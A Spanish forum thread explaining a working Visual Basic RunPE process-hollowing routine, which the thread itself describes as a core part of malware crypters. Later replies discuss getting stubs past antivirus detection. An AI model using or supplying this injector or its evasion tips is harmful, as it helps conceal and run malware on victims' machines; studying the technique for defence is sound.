Funcionamiento de un RunPE

Iniciado por [Kayser], 26 Mayo 2012, 21:18 PM

0 Miembros y 1 Visitante están viendo este tema.

[Kayser]

Buenas hace algun tiempo que he estado estudiando el codigo de un RunPE este hilo pretende servir de ayuda a aquellos que no comprenden como funciona. Un saludo y mi agradecimiento a Karcrack y en especial a The Swash por ayudarme a comprender como funciona.

Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub


Que es un RunPE?

El famoso RunPE es una técnica la cual permite ejecutar archivos ("on the fly" - Karcrack), es decir sin necesidad de que el archivo ocupe tamaño físico, esto se hace porque el archivo está plasmado en un buffer en memoria. Esta técnica es usada en malware generalmente en Cifradores, los cuales tienen en su cuerpo el archivo cifrado, luego en memoria lo descifran y lo ejecutan. (The Swash)

Como funciona un RunPE?

Primero de todo se inicializa el tamaño de la estructura Si que sera igual al tamaño total de la propia estructura PROCESS_INFORMATION. Necesitamos los datos contenidos en la cabecera IMAGE_DOS_HEADER e IMAGE_NT_HEADERS para obtenerlos usamos la API RtlMoveMemory. Para obtener la cabecera IMAGE_DOS_HEADER rellenando la estructura pidh copiamos los primeros 64 bytes del array de bytes que contiene el ejecutable que hay que ejecutar en memoria on the fly.Para obtener la cabecera IMAGE_NT_HEADERS copiamos los primeros 248 bytes partiendo del offset contenido en el campo e_lfanew de la estructura Pidh. (e_lfanew contiene el offset que indica el comienzo de la cabecera IMAGE_NT_HEADERS). Ya hemos obtenido los datos necesarios de dichas cabeceras ahora estan contenidas en las estructuras pidh y pinh. Creamos un proceso con el attributo de suspendido y facilitamos las estructuras si y pi que se rellenaran con los datos del proceso suspendido. Desmapeamos el proceso suspendido que hemos creado a partir del ImageBase Con la API VirtualAllocEx hacemos espacio en el proceso suspendido a partir del ImageBase y del tamaño indicado por el campo SizeOfImage de la estructura pinh que indica el tamaño total que tendrá dicho ejecutable en memoria. Escribimos en el proceso suspendido a partir del ImageBase la cabecera para ello indicamos el array de bytes que contiene el ejecutable y proporcionamos el campo SizeOfHeaders que indica el tamaño de dicha cabecera. Escribimos sección a sección al proceso suspendido, para ello creamos un bucle for que partiendo de zero y hasta el tamaño indicado por el campo NumberOfsections copiara cada sección en su virtualadress correspondiente.El virtualdress es una direccion virtual relativa por ello es un desplzamiento partiendo del imagebase del proceso para onbtener la direccion absoluta sumamos el desplzamiento al imagebase. Obtenemos el contexto del proceso suspendido es decir el estado de los registros y demas del proceso Ahora debemos cambiar el imagebase que esta contenido en la estructura del PEB por el nuevo ImageBase del proceso por ello proporcionamos como destino ctx.ebx+8 (ctx.ebx+8 apunta al campo sizeofimage del peb en la creacion del proceso) como origen de los datos proporcionamos el imagebase de la estructura pinh. Ahora debemos crear un hilo de ejecución que parta del Entrypoint del nuevo proceso por ello el registro EAX apuntara al entrypoint del nuevo proceso. Establecemos el nuevo contexto del proceso y con la API ResumeThread iniciamos el hilo de ejecucion.

m0rf

Disculpa mi ignorancia en el tema, pero justo de aquí a poco voy a empezar a programar alguna tool que maneje el formato PE.

Mi pregunta es:

Me equivoco seguramente, pero, no necesitarías llenar el buffer antes? Es que no lo pillo, de donde sacas los datos del archivo o programa?

Veo que se modifica muchas cosas del formato pe del binario, pero no me cuadra nada sin más códigos. No entiendo de donde coje la info.

Gracias por aclarar dudas, que estoy aprendiendo y me viene de lujo.
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?

The Swash

@m0rf, el buffer del archivo y la ubicación de donde se crea el proceso están pasados como parámetros. El amigo ha explicado en base a una "función".

Gracias [Kayser].

Un saludo,
Iván Portilla.

m0rf

Cita de: The Swash en 27 Mayo 2012, 23:03 PM
@m0rf, el buffer del archivo y la ubicación de donde se crea el proceso están pasados como parámetros. El amigo ha explicado en base a una "función".

Gracias [Kayser].

Un saludo,
Iván Portilla.

Vale gracias.

Es que la unica vez que he programado en basic a sido en GAMBAS. Y hize realmente poco con ese lenguaje

Llega aqui el buffer no: ByRef bvBuff() As Byte?

Donde tendría que apuntar el buffer o más bien quien le pasa los datos a la funcion en concreto buffer? O el ByRef le confiere alguna propiedad mágica?

Ya digo que no tengo ni idea de VB, poca cosa.
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?

The Swash

CitarByVal es "por valor". Tú pasas un número, y el número se copia y se usa en la función. Si modificas el número, lo harás en la función.

ByRef es "por referencia". Las referencias son instancias de la misma variable. Es como la misma variable usada en muchos lugares. Por tanto si la modificas en la función, lo harás en el resto del programa.

Fuente:
http://www.forosdelweb.com/f69/diferencia-byval-byref-301642/

m0rf

Cita de: The Swash en 27 Mayo 2012, 23:16 PM
Fuente:
http://www.forosdelweb.com/f69/diferencia-byval-byref-301642/

Todo entendido, hasta puede que me anime ha crear algún churro en VB.

Gracias compañeros.
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?

Maurice_Lupin

EL problema con los runPe por lo menos a mi me ha pasado. Es que lo detectan como malware los antivirus, aún si no hacen algo malo. Creo que detectan las funciones como WriteProcessMemory o también los opcodes relacionados con la inyección en memoria.

Si alguién tiene sugerencias se las agradeceria.

Saludos.
Un error se comete al equivocarse.

The Swash

Hola,

@Maurice_Lupin podría especificar si se refiere a la detección "pro-activa", osea le salta al ejecutar el exe que use dicha técnica con algo como: "El ejecutable está intentando acceder a la memoria de..."?

Un saludo,
Iván Portilla.

Maurice_Lupin

Cita de: The Swash en 30 Mayo 2012, 17:47 PM
@Maurice_Lupin podría especificar si se refiere a la detección "pro-activa", osea le salta al ejecutar el exe que use dicha técnica con algo como: "El ejecutable está intentando acceder a la memoria de..."?

Hola, lo que hice fue probar un Stub en la pagina Virus Total, fui quitando cosas, modificando, pero lo detectaba sólo cuando utilizaba la función WriteProcessMemory, es decir cuando se inyectaba en memoria.

Decia variante de MSIL/Injector. Por cierto un RunPe en vb.net es menos detectado que uno en vb6  :-( (recien me involucro en estas tecnicas). Y en la pc de un amigo, con sólo examinar mi USB el NOD32 detectaba lo mismo: MSIL/Injector y eliminaba mi exe.

Saludos.
Un error se comete al equivocarse.

kisk

Cita de: Maurice_Lupin en 31 Mayo 2012, 15:58 PM
Hola, lo que hice fue probar un Stub en la pagina Virus Total, fui quitando cosas, modificando, pero lo detectaba sólo cuando utilizaba la función WriteProcessMemory, es decir cuando se inyectaba en memoria.

Decia variante de MSIL/Injector. Por cierto un RunPe en vb.net es menos detectado que uno en vb6  :-( (recien me involucro en estas tecnicas). Y en la pc de un amigo, con sólo examinar mi USB el NOD32 detectaba lo mismo: MSIL/Injector y eliminaba mi exe.

Saludos.
si y seguramente por escaniar en virustotal ya lo detectan unos 4 mas nos e porque usas esa pagina  :rolleyes:
La vieja escuela me da nostalgia la nueva me da naucias dime cual es la escuela si ambas me deprimen (8)